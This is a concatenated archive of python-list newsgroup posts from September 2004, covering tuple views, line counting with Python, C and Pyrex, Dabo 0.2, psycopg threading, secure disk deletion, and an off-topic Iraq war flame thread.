no such things as declarations.  There are statements, and of course
there is an order of them, including the two, def and class, most
popularly used to create functions and classes respectively.

Generally, Python collects names and their correspondence to objects in
a dictionary, and a dictionary indeed has no ordering, so there is no
trace left of the order in which the names were added to the dictionary
(except that a name->value correspondence added later tramples over any
that might have been added earlier for that same name). Which is why I'm
using a list, and calls to its append method, in the above example.


> The question is: _why_ do you want to do this? How do you want to access the

That is indeed totally mysterious to me.  I have a decent grasp of what
can be done, but sometimes the deeper question of why anybody might ever
possibly want to do it escapes me totally, and this is such a case.


Alex


From kirk at eyegor.jobsluder.net  Sun Sep 19 21:46:54 2004
From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder)
Date: Mon, 20 Sep 2004 01:46:54 GMT
Subject: python vs c#
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
	<mailman.3529.1095642828.5135.python-list@python.org>
Message-ID: <slrncksdj3.90e.kirk@eyegor.jobsluder.net>

On 2004-09-20, julio <julioperezsosa at yahoo.com> wrote:
> Istvan Albert wrote:
>
>> go away, troll
>
> Nice argument.

An accurate one though, but I'm feeling bored.

> And my the facts are not just about ides, as i mentioned in the original
> mail. Is people so close minded to resist change ? things change , is
> human's nature to resist the change. 

What are you advocating for?  Better IDEs, or abandoning python? You've
complained a lot, but you have not really said much about how the people
who use python should change.

But why are you so closed minded to resist the possibility that many
people find python to be *a* solution for the problems that *they*
solve.

I mean, if you don't like working with python, go forth, find a language
you love, marry it, and make lots and lots of happy programs.  Why
complain about the relationship other people have with their favorite
programming languages? 

-- 
Kirk Job-Sluder
"The square-jawed homunculi of Tommy Hilfinger ads make every day an
existential holocaust."  --Scary Go Round


From bokr at oz.net  Sun Sep  5 03:08:11 2004
From: bokr at oz.net (Bengt Richter)
Date: 5 Sep 2004 07:08:11 GMT
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
	<1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>
	<1094359182.57429@yasure>
Message-ID: <chee0r$pab$0$216.39.172.122@theriver.com>

On Sun, 05 Sep 2004 04:39:43 -0000, "Donn Cave" <donn at drizzle.com> wrote:

>Quoth aleaxit at yahoo.com (Alex Martelli):
>| Donn Cave <donn at u.washington.edu> wrote:
>|    ... 
>|> On the other hand, we normally use tuples for data that
>|> is meaningful only when it's intact.  The (key, value)
>|
>| So by this argument len(t) should not work if t is a tuple...
>
>I expect it's used relatively infrequently, and for different
>reasons.  "if len(info) == 5", for example - just from that
>line from a relatively popular Python application, would you
>guess info is a list, or a tuple?
>
>| I've never accepted the BDFL's explanations on what tuples are for; like
>| Python beginners I use them as immutable lists (to index into a
>| dictionary or be set members) and curse their lack of useful methods.
>|
>| > pair that comes back from dict.items(), for example.  Each
>| > value may very well be a string, but the sequence is not
>| > homogeneous in the sense we're talking about, and index()
>| > is not useful.
>|
>| Even for a pair I sometimes like to know if 42 is the key, the  value,
>| or neither.  index is handy for that... but not if the pair is a tuple,
>| only if it's a list.  Rationalize as you will, it's still a Python wart.
>
>Maybe the problem is that tuples have too many features already.
>It's sort of silly that they're indexed by number, and if that
>weren't allowed, we would find fewer people trying to make lists
>of them.
>
>| Pseudotuples with NAMED (as well as indexed) arguments, as modules stat
>| and time now return, may be a different issue.  Not sure why we never
>| made declaring such pseudotuples as usertypes as easy as it should be, a
>| custom metaclass in some stdlib module shd be enough.  But tuples whose
>| items can't be named, just indexed or sliced, just are not a good fit
>| for the kind of use case you and Guido use to justify tuple's lack of
>| methods, IMHO.
>
>There you go, they shouldn't be indexed or sliced, that's right!
>Named attributes would be nice, but otherwise you use pattern
>matching (to the extent support in Python --  key, value = item.)
>Makes for more readable code.
>

How about just named read-only but redefinable views? E.g.,

 >>> class TV(tuple):
 ...     """tuple view"""
 ...     _views = {}
 ...     def __getattr__(self, name):
 ...         try: return tuple.__getitem__(self, self.__class__._views[name])
 ...         except KeyError: raise AttributeError, '%s is not a tuple view.' %name
 ...     def __setattr__(self, name, ix):
 ...         self.__class__._views[name] = ix
 ...     def __delattr__(self, name): del self.__class__._views[name]
 ...
 >>> t=TV(range(3,10))
 >>> t
 (3, 4, 5, 6, 7, 8, 9)
 >>> t.a
 Traceback (most recent call last):
   File "<stdin>", line 1, in ?
   File "<stdin>", line 6, in __getattr__
 AttributeError: a is not a tuple view.
 >>> t.a = 3
 >>> t.a
 6
 >>> t.b = slice(4,6)
 >>> t.b
 (7, 8)
 >>> del t.a
 >>> t.a
 Traceback (most recent call last):
   File "<stdin>", line 1, in ?
   File "<stdin>", line 6, in __getattr__
 AttributeError: a is not a tuple view.
 >>> t
 (3, 4, 5, 6, 7, 8, 9)
 >>> t.a = slice(None,None,-1)
 >>> t.a
 (9, 8, 7, 6, 5, 4, 3)
 
Of course, with the views in the class's _views dict, further instances share
previous definitions:

 >>> t2 = TV('abcdefg')
 >>> t2
 ('a', 'b', 'c', 'd', 'e', 'f', 'g')
 >>> t2.a
 ('g', 'f', 'e', 'd', 'c', 'b', 'a')
 >>> t2.b
 ('e', 'f')

You could generalize further with properties defining whatever viewing
function you want, of course.

Regards,
Bengt Richter


From sholden at holdenweb.com  Wed Sep  1 11:53:13 2004
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 01 Sep 2004 11:53:13 -0400
Subject: Xah Lee's Unixism
In-Reply-To: <4135cea1$0$19726$61fed72c@news.rcn.com>
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134AC88.56452265@yahoo.com>
	<aN2Zc.10226$QJ3.5466@newssvr21.news.prodigy.com>
	<4135cea1$0$19726$61fed72c@news.rcn.com>
Message-ID: <%hmZc.17354$ni.569@okepread01>

jmfbahciv at aol.com wrote:

> In article <aN2Zc.10226$QJ3.5466 at newssvr21.news.prodigy.com>,
>    red floyd <no.spam at here.dude> wrote:
> 
>>CBFalconer wrote:
>>
>>
>>>Dump Notepad and get Textpad.  www.textpad.com.  First class.
>>>
>>
>>Let the editor flame wars begin!
>>
>>Get gvim!  www.vim.org
> 
> 
> You think notepad is an editor?  <snort>  You must be young
> and inexperienced in the ways of Real Man's Editing sports.
> 
My choice? Definitely TECO, a real programmable editor from the TOPS10 days.

It would create a file if invoked by the "make" command. If you typed 
"make love" it would respond with "...not war?" before beginning the edit.

regards
  Steve


From carribeiro at gmail.com  Fri Sep  3 15:14:33 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 3 Sep 2004 16:14:33 -0300
Subject: Question: tools for business apps development
Message-ID: <864d3709040903121436529e29@mail.gmail.com>

Hello all.

I'm in the process of writing a business app in Python. (defining
business app: data entry, validation, interactive reports, etc). For
my purposes, it must be a native app (wxWidgets, GTK or Qt-based). A
web application will not do it (although I would love it).

To make a long history short: I used to develop business apps for a
living for a long time (up to the mid 90s). My last experiences were
with Delphi and VB. I know Python, but all projects I've done were
either scripts for sysadmin work, or were networking related (I did
SNMP, NetFlow, and a few web apps, also). Now, a friend of mine asked
me to write a new app for his company, and a I suggested doing it in
Python. I am limited to free tools only, by definition. So I collected
a few questions that I would like to ask here.

-- Which IDEs are better suited for business apps? I use PythonWin for
most of my scripting work in Windows. On occasion, I edit in PythonWin
or SciTE and run using the command line interpreter. I've downloaded
Boa and PythonCard, and while both work (to a reasonable degree), I
found both lacking for a RAD style development cycle. Are these tools
being used for production code?

-- Which free design tools are being actively used for business app
development? (includes database-design, UML, etc). There are many
tools available around, but most seem to be abandoned, or were used
for some specific task and never touched again. I would like to know
more about what is actually being used in production environments.

Thanks in advance for any answer. Best regards,

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From noone at here.com  Thu Sep 30 01:10:35 2004
From: noone at here.com (M. Clift)
Date: Thu, 30 Sep 2004 06:10:35 +0100
Subject: List rotation
References: <cjftdv$ofl$1@news8.svr.pol.co.uk>
	<mailman.4116.1096515802.5135.python-list@python.org>
Message-ID: <cjg4cn$qsc$1@newsg4.svr.pol.co.uk>

Hi Steven,

Sorry, as I'm a beginner I don't think I should have used the title rotate
list, as that's not what I want.

If the list  ('a', 'd', 'b', 'a', 'd', 'c', 'b') was rotated once it would
of course give('d', 'b', 'a' etc...

What I'm looking for is that say if trans = 1, then the list would become
('b', 'a', 'c', 'b', 'a', 'd', 'c') .
For trans = 3 the list would be ('d', 'c', 'a', 'd', 'c', 'b', 'a')

items = ('a', 'b', 'c', 'd')
items + 1 = ( 'b', 'c', 'd', 'a')
items + 2 = ( 'c', 'd', 'a', 'b')
items + 3 = ( 'd', 'a', 'b', 'c')

trans = 1

list = ('a', 'd', 'b', 'a', 'd', 'c', 'b')


I can think of the long/wrong way to do it as shown for trans = 3, but there
must be some simpler idea.


for idx in range(len(items)):
    if list[idx:idx + 1] == ['a']:
       list[idx:idx + 1] = ['d']
    if list[idx:idx + 1] == ['b']:
       list[idx:idx + 1] = ['a']




From ed at leafe.com  Wed Sep 22 08:17:57 2004
From: ed at leafe.com (Ed Leafe)
Date: Wed, 22 Sep 2004 08:17:57 -0400
Subject: [ANN] Dabo 0.2 Released
Message-ID: <700B4509-0C91-11D9-8C15-003065B11E84@leafe.com>

We are pleased to announce Dabo 0.2, the second major release of our 
data application framework. The Dabo framework is a true 3-tier design, 
with data access and UI code separated from your business logic. And 
since it's Python, and uses wxPython for its UI, it is completely 
cross-platform, having been tested on Linux, Windows and OS X.

Download from http://dabodev.com/download

The new prerequisites are:
	Python 2.3
	wxPython 2.5.2.7 or later

We are encouraged by the response we've gotten so far from our earlier 
releases - there certainly seems to be a lot of interest in creating 
cross-platform data-intensive apps! We are continuing to move forward, 
and encourage anyone who is interested to join our mailing lists:

dabo-users: for those interested in learning how to work with Dabo to 
create applications
	http://leafe.com/mailman/listinfo/dabo-users
dabo-dev: for those interested in the ongoing development of Dabo
	http://leafe.com/mailman/listinfo/dabo-dev


Here is a brief summary of what's new in Dabo 0.2:

Dabo 0.2:
Dabo now works with FireBird as well as MySQL databases. We've begun to 
add support for SQLite and PostgreSQL, but they won't be ready until 
0.3.

Database connection info is now saved with the passwords encrypted.

Abstracted out the wxPython event model, greatly simplifying the 
binding and raising of events, as well as the definition of new events 
via subclassing.

Improved unicode support.

Code for Dabo applications has gotten more Dabo-like, and less wx-like, 
as Dabo has abstracted the UI much better. For example, it is not as 
necessary to add an 'import wx' statement in your code anymore.

Added logger objects to send program output to, instead of directly to 
stdout.

Began abstraction of Tkinter at purely an experimental level.

Added some new controls, such as a better date control and a combo box.


DaboDemo 0.2:
We've created a new wizard for generating basic Dabo applications. 
Check it out at http://dabodev.com/wiki/AppWizard .

The generated apps now save their configuration in standard XML files. 
There is a new visual editor for modifying these files and previewing 
your changes. See http://dabodev.com/wiki/FieldSpecEditor for more 
information.

While Dabo is primarily aimed at creating database apps, it works great 
for apps that don't work with data, too. To illustrate this, there is 
now a game called 'Bubblet' included in the demo that is written in 
Dabo but doesn't connect to data.

Added a Python code editor and dubbed it 'dEditor', located in the 
'daboIDE' directory. This editor, based on Scintilla, features 
everything you'd expect: syntax coloring, auto-indent, zooming, line 
numbering, call tips, and auto-complete. It represents the beginning of 
an effort to bring a simple multi-platform IDE to Dabo, which will be a 
central place to work on Dabo-based projects. A project manager, a good 
set of editors (code, field specs, database definitions, report 
layouts, UI layouts, etc.), an interpreter, a debugger, and quick links 
to documentation will all be provided. It's a major undertaking; this 
is the first step in that direction.


      ___/
     /
    __/
   /
  ____/
  Ed Leafe
  http://leafe.com/
  http://dabodev.com/



From alban at magproductions.nl  Tue Sep 21 09:53:14 2004
From: alban at magproductions.nl (Alban Hertroys)
Date: Tue, 21 Sep 2004 15:53:14 +0200
Subject: Psycopg and threads problem
In-Reply-To: <GrmdnVp_Prbtn9LcRVn-gw@giganews.com>
References: <cimj9q$7jr$1@netlx020.civ.utwente.nl>
	<0fidnS729Ln4bdPcRVn-hQ@giganews.com>
	<414EF5BC.9010002@magproductions.nl>
	<GrmdnVp_Prbtn9LcRVn-gw@giganews.com>
Message-ID: <4150324A.8090001@magproductions.nl>

Istvan Albert wrote:
> Alban Hertroys wrote:
> 
>> I can't commit until all the data has been inserted and combined. The 
>> commit shouldn't happen until the end of the main thread is reached.
> 
> 
> If you don't commit the inserts you cannot combine them (because they are
> not visible) in a different database connection. I think you should

That's why I use only one DB connection. ;)

> have a commit at the end of your insert threads. That way
> when all the inserts are finished the data will be available
> for the combine thread.
> 
> I might be wrong here but I think all this confusion arises because
> psycopg pools database connections (which is a good thing, it speeds
> up access). But then even when you seemingly open a new connection
> you might be just reusing a db connection from the pool that was
> started (and kept alive) before the inserts took place.

Well, apparently you are :P
Maybe I'm still not clear enough in explaining this 'little' problem of 
mine. The answers I got so far aren't entirely 'on track'.

But thanks anyway.

Alban.


From eugene at boardkulture.com  Mon Sep  6 14:54:40 2004
From: eugene at boardkulture.com ( EuGeNe )
Date: 6 Sep 2004 11:54:40 -0700
Subject: view http info when browsing
References: <56d498d9.0409051725.1c7d3258@posting.google.com>
	<81a41dd.0409060529.48120530@posting.google.com>
Message-ID: <de8687be.0409061054.22627ac@posting.google.com>

give www.debugbar.com a bash 

the trial version is fully functional and it is cheap


From carribeiro at gmail.com  Thu Sep  9 08:14:34 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Thu, 9 Sep 2004 09:14:34 -0300
Subject: Anyone know anything named DX? (was Re: Announcing PyCs)
In-Reply-To: <2q55tcFrgjv1U1@uni-berlin.de>
References: <20040901221925.2128958333.EP@zomething.com>
	<mailman.2945.1094509287.5135.python-list@python.org>
	<pan.2004.09.06.21.29.05.273319@jerf.org>
	<1stv02-qlp.ln1@home.rogerbinns.com> <2q55tcFrgjv1U1@uni-berlin.de>
Message-ID: <864d3709040909051441e0f0a@mail.gmail.com>

There are professional tools that go much farther than this -- they
not only generate words, but also check:

a) if the word has no offensive meaning on several languages (yes, it
happens, and one has to be really careful);
b) if the word is pronounceable for native speakers of different languages.

It could potentially also check if the word was registered, but I
don't know if they have done that still (it would need access to
trademark databases that probably is not widely available).

I once read a report from Gillete regarding the branding strategy used
for its Mach product. They used this type of service to generate three
good options for a worldwide brand, and selected Mach. I don't
remember the other options but they were quite good sounding too.


On Tue, 07 Sep 2004 03:26:48 -0400, Leif K-Brooks <eurleif at ecritters.biz> wrote:
> Roger Binns wrote:
> > I did actually send an email to Google labs suggesting they come
> > up with an "naming" tool where you could suggest what style of
> > name you wanted (eg scientific, Italian, computery) and it would
> > generate random strings of that form with no entries in the
> > index.  They never responded.
> 
> That actually wouldn't be very hard to do on your own. You'd just have
> to get long word (phrase?) lists for each type of name (and maybe a
> general list that'd be used for all types), then use Markov Chains to
> generate a name from one of the lists. Then check how many results you
> get from the Google API, and generate a new one if there are any.
> 
> Maybe I'll try it next time I'm in the mood to code something random...
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
> 



-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From steven.bethard at gmail.com  Mon Sep 13 16:47:47 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Mon, 13 Sep 2004 20:47:47 +0000 (UTC)
Subject: Best way to compare the contents of two directories
References: <95c29a5e.0409111640.6980271f@posting.google.com>
	<Zxc1d.412$W73.185@trndny03>
	<95c29a5e.0409131037.430cbce8@posting.google.com>
	<1095107566.26967.70.camel@devilbox.devilnet.internal>
Message-ID: <loom.20040913T224452-333@post.gmane.org>

Cliff Wells <clifford.wells <at> comcast.net> writes:
> 
> I think sets were added in 2.3, but either way you must still 'from sets
> import Set' before using them.

It also might be good to get in the habit of writing this as:

from sets import Set as set

so that when you move to Python 2.4, where set() is a builtin, all you have to 
do is remove the import.

Python 2.4a3 (#56, Sep  2 2004, 20:50:21) [MSC v.1310 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> set(abs(2*i - 6) for i in range(10))
set([0, 2, 4, 6, 8, 10, 12])

Steve



From __peter__ at web.de  Tue Sep  7 04:40:07 2004
From: __peter__ at web.de (Peter Otten)
Date: Tue, 07 Sep 2004 10:40:07 +0200
Subject: Secure delete with python
References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com>
	<chhoae$5pp$1@online.de> <chhoij$62d$1@online.de>
	<du74qmb9mzs.fsf@amadeus.cc.tut.fi>
	<7xd60zf339.fsf@ruckus.brouhaha.com>
	<a8dfce8c.0409062245.70f5dcf@posting.google.com>
	<7xeklea6nb.fsf@ruckus.brouhaha.com>
Message-ID: <chjs58$fnf$06$1@news.t-online.com>

Paul Rubin wrote:

> I think you're best off assuming that short of melting the platters,
> there's no way to ever erase data from a hard drive, i.e. that a
> sufficiently powerful attacker can recover every state that the drive
> has ever been in.  The solution is to write only encrypted data to the

The german PC magazine c't has sent in hard disks overwritten once with
zeros to data recovery firms. No data was recovered. So unless your
opponent has secret service connections I'd say you are safe. He will
rather watch your screen or log your keystrokes than mess with the hd - if
he's not already in your WLAN that is.

> has ever been in.  The solution is to write only encrypted data to the
> drive, and don't store the key on the drive.

As a special case, avoid that the OS writes the key to disk while swapping.

Peter




From jbrandmeyer at earthlink.net  Mon Sep 13 06:06:38 2004
From: jbrandmeyer at earthlink.net (Jonathan Brandmeyer)
Date: Mon, 13 Sep 2004 06:06:38 -0400
Subject: confirm b9451b3d76ce30fe81f5538e3f12d6f8ee5986e9
In-Reply-To: <mailman.0.1095069999.8368.python-list@python.org>
References: <mailman.0.1095069999.8368.python-list@python.org>
Message-ID: <1095069998.11424.0.camel@illuvatar>

On Mon, 2004-09-13 at 06:06, python-list-request at python.org wrote:
> Mailing list removal confirmation notice for mailing list Python-list
> 
> We have received a request for the removal of your email address,
> "jbrandmeyer at earthlink.net" from the python-list at python.org mailing
> list.  To confirm that you want to be removed from this mailing list,
> simply reply to this message, keeping the Subject: header intact.  Or
> visit this web page:
> 
>     http://mail.python.org/mailman/confirm/python-list/b9451b3d76ce30fe81f5538e3f12d6f8ee5986e9
> 
> 
> Or include the following line -- and only the following line -- in a
> message to python-list-request at python.org:
> 
>     confirm b9451b3d76ce30fe81f5538e3f12d6f8ee5986e9
> 
> Note that simply sending a `reply' to this message should work from
> most mail readers, since that usually leaves the Subject: line in the
> right form (additional "Re:" text in the Subject: is okay).
> 
> If you do not wish to be removed from this list, please simply
> disregard this message.  If you think you are being maliciously
> removed from the list, or have any other questions, send them to
> python-list-owner at python.org.



From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org  Mon Sep 13 22:50:40 2004
From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan)
Date: Tue, 14 Sep 2004 02:50:40 -0000
Subject: Xah Lee's Unixism
References: <ci4gs0$23p$1@grandcanyon.binc.net>
Message-ID: <10kcn40mkm43c8f@corp.supernews.com>

# However, to answer your question: How does regime change in Iraq help 
# avoid another 9/11...
# 	1) It removes one of the states that might consider sponsing such a 
# future attach.

Putting that in more mundane terms, if you walk around with loaded shotgun
and gut shoot anyone you think might look funny at you, you will be safer.
Ignores the possibility that the townsfolk might not like your attitude
and arrange an ambush followed by a hanging as needed.

# 	2) It removes a state with the expertise of producing (not developing) 
# WMD that might be used in such an attack.  We've found no WMD 
# stockpiles but we *have* found proof that Iraq retained the expertise 
# to produce WMD in the future.  We still don't know if there are stockpiles.

Leaving Israel, Iran, Pakistan, India, and Korea unmolested. There's a lot of
expertise _and_ material floating around in Russa. A lot of those experts
are now jobless with worthless pensions. If you want to talk about threats,
it would Russians exporting material and experts across their southern border.
That is a threat we can deal with: offer these people worthwhile pensions
to keep their mouths shut. Buy fission materials from Russia. Pay off Russia.
But we don't because that's too expensive.

# 	3) It demonstrates to other states in the region that they could have 
# a regime change in about a month's time if they allow themselves to be 
# in the position of being held accountable for any future attack. 
# Removing the Taliban was a much more ambiguous demonstration of this 
# since they had no real military and really weren't an organized state.

With what army do you propose to invade Syria and Iran and Sudan and Korea?
Taliban is regaining control in Afghanistan after the USA abandonned the
war on terrorism to seek oil profits. Iraq is a tar baby. Saddam Hussein
might be permanently out of the picture, but there's no reason yet to think
that if Iraq does somehow become a democracy it will be friendly to the USA.

# 	4) Look at a map of the middle east.  It provides us with a base of 
# operations in the center of the region.  We probably won't have to ask 
# for access to bases and airspace in future operations, which hopefully 
# will never have to happen.

A soveign Iraq has the right to demand the USA leave. Do you think Iraq
wants to become a target of Al Qaeda the way Saudi Arabia has been simply
for the honor of having USA soldiers in their country?

# 	5) It provides us with a second (ref: Afghanistan) shot at 
# establishing a pseudo-democracy in the region.

Why not start with Jordan and Egypt? Those governments are already friendly
to the USA and more suspectible to gentler persuasion than an invading
army. Because they aren't sitting on a sea of oil to make it worthwhile.
The Afghanistan central government is falling apart because the USA abandonned
it and never did the hard work of nation building there.

# 	6) It underscores that 9/11 should go into the "bad idea" category for 
# future planners of Islamic extremist operations.

Again only you and Dick Cheney believe Iraq had anything to do with
terrorism. The real terrorist are back in Afghanistan laughing their
butts off; they are safe today than two years ago because the USA
abandonned the war on terrorism. The only terrorist organisation that
had been operating in Iraq was in the northern fly zone outside of
Saddam's control. These same terrorists are causing so much trouble now.
These same terrorists the USA and Kurds could have dealt with a long
time, except the USA needed to have a terrorist organisation in Iraq
to provide a cause belli.

# Before you respond saying that it increases the number of potential 
# terrorists that might carry out an attack, that may or may not be so. 
# But for such an attack to be carried out requires organization and 
# resources not just a bunch of pissed off people.  It would require at 

The organisation was being dismantled. But now that the USA has abandonned
the war on terrorism for the quagmire in Iraq, terrorists are reorganising.
Ask Australians about their embassy remodelling.

# You are being naive.  Complain as loud as you like but there is no 
# question that the ability and demonstrated willingness to defend ones 
# self is the best deterrent to ever having to do so.

Iraq was never a threat to the USA. Al Qaeda is, and the USA has
abandonned the quest to end it or capture Osama bin Laden.

--
SM Ryan http://www.rawbw.com/~wyrmwif/
I'm not even supposed to be here today.


From FBatista at uniFON.com.ar  Wed Sep 22 11:09:48 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 22 Sep 2004 12:09:48 -0300
Subject: Why not FP for Money?
Message-ID: <A128D751272CD411BC9200508BC2194D053C79A8@escpl.tcp.com.ar>

[Carlos Ribeiro]

#- a report, it's fairly easy to have the wrong sum. If I remember it
#- well, at some point Delphi's standard library could be customized to
#- choose between two or three different rounding algorithms, including
#- one called "banker's rounding", where exact half numbers would be
#- converted to the closest even number. The goal was to make sure that

Well, actually that's an issue, because the "banker's rounding" is not the
same rounding in every country.

That's why in Decimal you have a lot of roundings to choose.

.	Facundo


From michaels at rd.bbc.co.uk  Thu Sep 16 06:40:53 2004
From: michaels at rd.bbc.co.uk (Michael Sparks)
Date: Thu, 16 Sep 2004 11:40:53 +0100
Subject: socket function that loops AND returns something
References: <ciatjj$olo$1@solaris.cc.vt.edu>
	<tpc2d.16169$QJ3.2672@newssvr21.news.prodigy.com>
Message-ID: <cibrh3$pd0$1@nntp0.reith.bbc.co.uk>

Bryan Olson wrote:
...
> Different servers have different needs, but when in doubt use
> threads.  Threading on the popular operating systems has
> improved vastly in the last several years.  Running a thousand
> simultaneous threads is perfectly reasonable. 

If you want code to be portable this is false, and I'm amazed to see
this claim on c.l.p to be honest. It's a fairly good way to kill a
fair number of still well used OSs.

Just because a handful of OSs handle threading well these days does
not mean that you will end up with portable code this way. (Portable
in that you get the same overall behaviour - not the simple concept
of the code running)

_Small_ numbers of threads are very portable I would agree, but not
thousand(s).

Best Regards,


Michael.
-- 
Michael.Sparks at rd.bbc.co.uk    
British Broadcasting Corporation, Research and Development
Kingswood Warren, Surrey KT20 6NP

This message (and any attachments) may contain personal views
which are not the views of the BBC unless specifically stated.




From danny_shevitz at yahoo.com  Thu Sep 23 11:02:42 2004
From: danny_shevitz at yahoo.com (danny)
Date: 23 Sep 2004 08:02:42 -0700
Subject: good way to do side effects on lists?
References: <415208a1$1_4@news3.es.net> <cit221$a33$1@pegasus.csx.cam.ac.uk>
Message-ID: <85bc2819.0409230702.2a5c4ab5@posting.google.com>

Michael Hoffman <m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> wrote in message news:<cit221$a33$1 at pegasus.csx.cam.ac.uk>...
 
> But with all that set-up it's not really a one-liner. And what's wrong with
> your first proposal anyway?

Nothing is really wrong with it. I assume it runs a little slower than
something native, and since it's inside a Monte Carlo code it may
matter a little. Mostly it just feels like there should be a way to do
it better.

Danny


From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Thu Sep 23 15:10:25 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Thu, 23 Sep 2004 20:10:25 +0100
Subject: incrementing a time tuple by one day
In-Reply-To: <donn-B27766.12063123092004@gnus01.u.washington.edu>
References: <mailman.3798.1095959172.5135.python-list@python.org>
	<QcudnRWf360rm87cRVn-vg@powergate.ca>
	<donn-B27766.12063123092004@gnus01.u.washington.edu>
Message-ID: <civ734$e4g$1@pegasus.csx.cam.ac.uk>

Donn Cave wrote:
> $ python
> Python 2.2 (#1, 11/12/02, 23:31:59) 
> [GCC Apple cpp-precomp 6.14] on darwin
> Type "help", "copyright", "credits" or "license" for more information.
> 
>>>>import datetime
> 
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> ImportError: No module named datetime

The datetime module is new in Python 2.3.
--
Michael Hoffman


From aleaxit at yahoo.com  Wed Sep 22 09:37:37 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 22 Sep 2004 15:37:37 +0200
Subject: How to count lines in a text file ?
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
	<414eda06$0$26379$ba624c82@nntp02.dk.telia.net>
	<1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com>
	<t3s2l0pdau27otsd3vrr1r24vsui911lej@4ax.com>
Message-ID: <1gkiss6.1ycjzr21dhrf4pN%aleaxit@yahoo.com>

Christos TZOTZIOY Georgiou <tzot at sil-tec.gr> wrote:
   ...
> >memory at once.  If you must be able to deal with humungoug files, too
> >big to fit in memory at once, try something like:
> >
> >numlines = 0
> >for line in open('text.txt'): numlines += 1
> 
> And a short story of premature optimisation follows...

Thanks for sharing!

> def count_lines(filename):
>     fp = open(filename)
>     count = 1 + max(enumerate(fp))[0]
>     fp.close()
>     return count

Cute, actually!

> containing Alex' code.  Guess what?  My code was slower... (and I should
> put a try: except Value: clause to cater for empty files)
> 
> Of course, on second thought, the reason must be that enumerate
> generates one tuple for every line in the file; in any case, I'll mark

I thought built-ins could recycle their tuples, sometimes, but you may
in fact be right (we should check with Raymong Hettinger, though).

With 2.4, I measure 30 msec with your approach, and 24 with mine, to
count the 45425 lines of /usr/share/dict/words on my Linux box
(admittedly not a creat example of 'humungous file'); and similarly
kjv.txt, a King James' Bible (31103 lines, but 10 times the size of the
words file), 41 with yours, 36 with mine.  They're pretty close.  At
least they beat len(file(...).readlines()), which takes 33 on words, 62
on kjv.txt...

If one is really in a hurry counting lines, a dedicated C extension
might help.  E.g.:

static PyObject *count(PyObject *self, PyObject *args)
{
    PyObject* seq;
    PyObject* item;
    int result;

    /* get one argument as an iterator */
    if(!PyArg_ParseTuple(args, "O", &seq))
        return 0;
    seq = PyObject_GetIter(seq);
    if(!seq)
        return 0;

    /* count items */
    result = 0;
    while((item=PyIter_Next(seq))) {
        result += 1;
        Py_DECREF(item);
    }    

    /* clean up and return result */
    Py_DECREF(seq);
    return Py_BuildValue("i", result);
}

Using this count-items-in-iterable thingy, words takes 10 msec, kjv
takes 26.

Happier news is that one does NOT have to learn C to gain this.
Consider the Pyrex file:

def count(seq):
    cdef int i
    it = iter(seq)
    i = 0
    for x in it:
        i = i + 1
    return i

pyrexc'ing this and building the Python extension from the resulting C
file gives just about the same performance as the pure-C coding: 10 msec
on words, 26 on kjv, the same to within 1% as pure-C coding (there is a
systematic speedup of a bit less than 1% for the C-coded function).

And if one doesn't even want to use pyrex?  Why, that's what psyco is
for...:

import psyco
def count(seq):
    it = iter(seq)
    i = 0
    for x in it:
        i = i + 1
    return i
psyco.bind(seq)

Again to the same level of precision, the SAME numbers, 10 and 26 msec
(actually, in this case the less-than-1% systematic bias is in favour of
psyco compared to pure-C coding...!-)


So: your instinct that C-coded loops are faster weren't too badly off...
and you can get the same performance (just about) with Pyrex or (on an
intel or compatible processor, only -- sigh) with psyco.


Alex


From pm_mon at yahoo.com  Wed Sep  1 19:40:13 2004
From: pm_mon at yahoo.com (Paul Morrow)
Date: Wed, 01 Sep 2004 19:40:13 -0400
Subject: Are decorators really that different from metaclasses...
In-Reply-To: <HBF.20040901iia9@bombur.uio.no>
